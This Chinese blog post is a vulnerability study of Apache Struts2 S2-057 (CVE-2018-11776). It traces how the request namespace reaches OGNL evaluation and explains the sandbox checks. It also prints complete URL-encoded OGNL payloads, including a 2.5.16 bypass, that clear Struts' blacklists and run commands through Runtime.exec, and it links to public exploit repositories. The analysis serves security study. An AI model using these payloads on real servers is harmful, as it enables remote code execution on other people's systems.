xiaoxiong's blog Thinking and Action

S2-057 漏洞分析

2018-09-03

简述

2018年8月23日,Apache Strust2发布最新安全公告,Apache Struts2 存在远程代码执行的高危漏洞,该漏洞由Semmle Security Research team的安全研究员汇报,漏洞编号为CVE-2018-11776(S2-057)

漏洞原因:

一句话解释:当访问action类型为重定向(redirect action,chain,postback)时,会根据url生成的namespace生成一个跳转地址location, location 会进行 ognl 计算。

处理流程:

  1. struts2 的核心控制器 filterDIspather,会根据请求调用对应action:filterDIspatch 拦截所有用户的请求,调用ActionMapper 接口来决定调用对应Action。

  2. struts2 默认调用DefaultActionMapper 实现类中 getMapping 方法解析request请求,getMapping 调用parseNameAndNamespace 方法获取namespace。

  3. 当访问action类型为重定向时(redirect action,chain,postback),调用ActionMapper.getUriFromActionMapping()重组namespace和name 生成location

  4. ServletRedirectResult调用父类StrutsResultSupport中的exectue方法。最后由StrutsResultSupport调用conditionalParse(location,invocation)方法,通过TextParseUtil.translateVariables()调用OgnlTextParser.evaluate()解析执行location中的OGNL表达式,导致代码执行。

http://www.freebuf.com/vuls/182006.html 漏洞原因详细讲解(result代码实现,两种漏洞触发方式),但我认为请求 /path1/path2/test.action 在处理namespace 时不具有递归性,详情见namespace 分析。该文也描述了该漏洞的两种存在方式

三种跳转漏洞触发方式解析:https://xz.aliyun.com/t/2618

<result-types>
<result-type name="chain" class="com.opensymphony.xwork2.ActionChainResult"/>
<result-type name="redirectAction" class="org.apache.struts2.result.ServletActionRedirectResult"/>
<result-type name="postback" class="org.apache.struts2.result.PostbackResult" />
</result-types>

com/opensymphony/xwork2/DefaultActionInvocation.java:367 中对result type 进行处理,对result对象读入。
return type 官方介绍 https://struts.apache.org/core-developers/result-types.html

漏洞触发流程:https://github.com/Ivan1ee/struts2-057-exp

触发环境

配置文件修改

<struts>
<package name="actionchaining" extends="struts-default" namespace="/actionchaining">
	<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
		<result type="chain">actionChain2</result>		
	</action>
	<action name="actionChain2" class="org.apache.struts2.showcase.actionchaining.ActionChain2">
		<result type="chain">actionChain3</result>
	</action>
	<action name="actionChain3" class="org.apache.struts2.showcase.actionchaining.ActionChain3">
		<result>/WEB-INF/actionchaining/actionChainingResult.jsp</result>
	</action>
</package>
</struts>

修改配置文件

struts-actionchaining.xml 中添加

<constant name="struts.mapper.alwaysSelectFullNamespace" value="true"/>
<struts>
	<package name="actionchaining" extends="struts-default" >
		<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
			<result type="redirectAction">
				<param name="actionName">register2</param>>
			</result>
		</action>
	</package>
</struts>

2.3.4 版本中 pom.xml 添加依赖包struts2-convention-pligin:2.3.34 设置 <constant name="struts.mapper.alwaysSelectFullNamespace" value="true"/> 会设置 alwaysSelectFullNamespace 参数为true

配置文件namespace详解

struts 配置文件介绍 https://www.cnblogs.com/fmricky/archive/2010/05/20/1740479.html
struts 官方文档介绍,namespace详细说明 https://struts.apache.org/core-developers/namespace-configuration.html	
package 属性name,表示包名,包名随意,用于继承实现的,比如 extends struts-default 内置包,
属性 namespace 命名空间,用于防止请求重复。 
	默认值: "" 空,默认会捕获所有请求;
	根值: "/", 只捕获直接目录下的访问
处理流程: 请求 http://domain/path1/path2/test.action
检查 namespace 为path1/path2 是否存在action test,存在则进行处理,不存在会检测 namespace 为""(默认值),是否有action test。 

当配置文件中namespace 为""空:默认值时,会捕获所有 domain/random_path/actionChain1.action请求。

alwaysSelectFullNamespace 参数作用,

设置	alwaysSelectFullNamespace属性为true,返回最后一个/的path
namespace = uri.substring(0, lastSlash);

设置	alwaysSelectFullNamespace属性为false,返回配置文件中的namespace或者跟目录
Configuration config = configManager.getConfiguration();
        String prefix = uri.substring(0, lastSlash);
        namespace = "";
        boolean rootAvailable = false;
        Iterator i$ = config.getPackageConfigs().values().iterator();

        while(i$.hasNext()) {
            PackageConfig cfg = (PackageConfig)i$.next();
            String ns = cfg.getNamespace();
            if (ns != null && prefix.startsWith(ns) && (prefix.length() == ns.length() || prefix.charAt(ns.length()) == '/') && ns.length() > namespace.length()) {
                namespace = ns;
            }

            if ("/".equals(ns)) {
                rootAvailable = true;
            }
        }

        name = uri.substring(namespace.length() + 1);
        if (rootAvailable && "".equals(namespace)) {
            namespace = "/";
        }
    }

POC 学习

struts2-3 系列

ognl 漏洞检测
请求:http://localhost:8080/${(111+111)}/actionChain1.action
跳转到:http://localhost:8080/222/actionChain1.action
说明对${111+111} 进行了计算,存在漏洞

${(#dm=@ognl.ognlcontext@default_member_access).(#ct=#request['struts.valuestack'].context).(#cr=#ct['com.opensymphony.xwork2.actioncontext.container']).(#ou=#cr.getinstance(@com.opensymphony.xwork2.ognl.ognlutil@class)).(#ou.getexcludedpackagenames().clear()).(#ou.getexcludedclasses().clear()).(#ct.setmemberaccess(#dm)).(#cmd=@java.lang.runtime@getruntime().exec("xcalc"))}

http://localhost:8080/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23cmd%3D@java.lang.Runtime@getRuntime%28%29.exec%28%22gnome-calculator%22%29%29%7D/actionChain1.action

POC 中关注点:
1. 黑名单限制,struts-default.xml 文件中定义了 struts.excludedClasses/struts.excludedPackageNames 黑名单。
2. memberaccess 设置。 疑惑点:问什么POC第一句可以访问@ognl.ognlcontext@default_member_access
3. ognl checkEnableEvalExpression
4. 通用模块,java payload 实现

S2-045 中POC 直接从ognlContext 中获取com.opensymphony.xwork2.actioncontext.container,2.3.34版本的黑名单加入了该类。思路:从已存在的对象中取出该类,例、获取#request['struts.valuestack'].context。

ognl 会检查表达式是否可执行
private void checkEnableEvalExpression(Object tree, Map<String, Object> context) throws OgnlException {
    if (!this.enableEvalExpression && this.isEvalExpression(tree, context)) {
        throw new OgnlException("Eval expressions/chained expressions have been disabled!");
    }
}  
默认this.enableEvalExpression 为false,
isEvalExpression 表达式对EvalChain 和 Sequence 进行了判断 node.isEvalChain(ognlContext) || node.isSequence(ognlContext),如果为EvalChain 或者 Sequence 则返回True, 导致抛出异常。
ASTSequence 表现形式 one, two
ASTEval	表现形式 (one)(two)
ASTChain 表现形式 one.two
所以现有 POC 中都会避免ASTSequence 和 ASTEval 类型语句存在

struts2-5 系列

com/opensymphony/xwork2/ognl/OgnlUtil.java中,构造OgnlContext 语句,设置SecurityMemberAccess 属性,其中对ExcludedClassesexcludedPackageNamePatternsexcludedPackageNames三个安全属性进行了设置。

protected Map createDefaultContext(Object root, ClassResolver classResolver) {
    ClassResolver resolver = classResolver;
    if (resolver == null) {
        resolver = container.getInstance(CompoundRootAccessor.class);
    }

    SecurityMemberAccess memberAccess = new SecurityMemberAccess(allowStaticMethodAccess);
    memberAccess.setExcludedClasses(excludedClasses);
    memberAccess.setExcludedPackageNamePatterns(excludedPackageNamePatterns);
    memberAccess.setExcludedPackageNames(excludedPackageNames);
    memberAccess.setDisallowProxyMemberAccess(disallowProxyMemberAccess);

    return Ognl.createDefaultContext(root, resolver, defaultConverter, memberAccess);
}

2.5.10 代码
//com.opensymphony.xwork2.ognl.OgnlUtil @Inject(value = XWorkConstants.OGNL_EXCLUDED_PACKAGE_NAMES, required = false)
 public void setExcludedPackageNames(String commaDelimitedPackageNames) {
 excludedPackageNames = TextParseUtil.commaDelimitedStringToSet(commaDelimitedPackageNames);
 }

2.5.12 代码
//com.opensymphony.xwork2.ognl.OgnlUtil @Inject(value = XWorkConstants.OGNL_EXCLUDED_PACKAGE_NAMES, required = false)
 public void setExcludedPackageNames(String commaDelimitedPackageNames) {
 excludedPackageNames = Collections.unmodifiableSet(TextParseUtil.commaDelimitedStringToSet(commaDelimitedPackageNames));
 }

excludedPackageNames 等属性设置为 Collections.unmodifiableSet类型(不可修改),在调用#ognlUtil.getExcludedPackageNames().clear(),会抛出java.lang.UnsupportedOperationException类型的异常

绕过:OgnlUtil.setExcludedPackageNames('sun.reflect.'))

2.5.16版本 S2-057 payload:

http://0.0.0.0:8080/$%7B(%23ct=%23request['struts.valueStack'].context).(%23cr=%23ct['com.opensymphony.xwork2.ActionContext.container']).(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.setExcludedClasses('java.lang.Shutdown')).(%23ou.setExcludedPackageNames('sun.reflect.')).(%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(%23ct.setMemberAccess(%23dm)).(%23cmd=@java.lang.Runtime@getRuntime().exec('gnome-calculator'))%7D/actionChain1.action

ognl 语法解析

ognl漏洞及入门科普:http://www.zjicmisa.org/index.php/archives/122/
ognl 抽象语法树的解析,详细,推荐(调试ognl poc是最好的阅读方式) https://xz.aliyun.com/t/111#toc-0

意外所得,https://blog.csdn.net/u013224189/article/details/81091874 这篇文章时间 2018年7月18日,作者通过struts更新发现疑似漏洞存在,但没能构造出 payload,很可惜的,漏洞报告公开时间2018年8月22日。 看一下原博客思路:通过更新补丁,代码差异来寻找漏洞

POC 收集

https://github.com/mazen160/struts-pwn_CVE-2018-11776
https://github.com/hook-s3c/CVE-2018-11776-Python-PoC
https://github.com/xfox64x/CVE-2018-11776
https://semmle.com/news/apache-struts-CVE-2018-11776

历史漏洞
http://blog.0kami.cn/2017/01/13/Struts2-history-payload/

lgtm 文章 https://lgtm.com/blog/apache_struts_CVE-2018-11776
lgtm 文章的翻译 https://xz.aliyun.com/t/2622

疑惑点:为什么POC第一句可以访问@ognl.ognlcontext@default_member_access


Similar Posts

Comments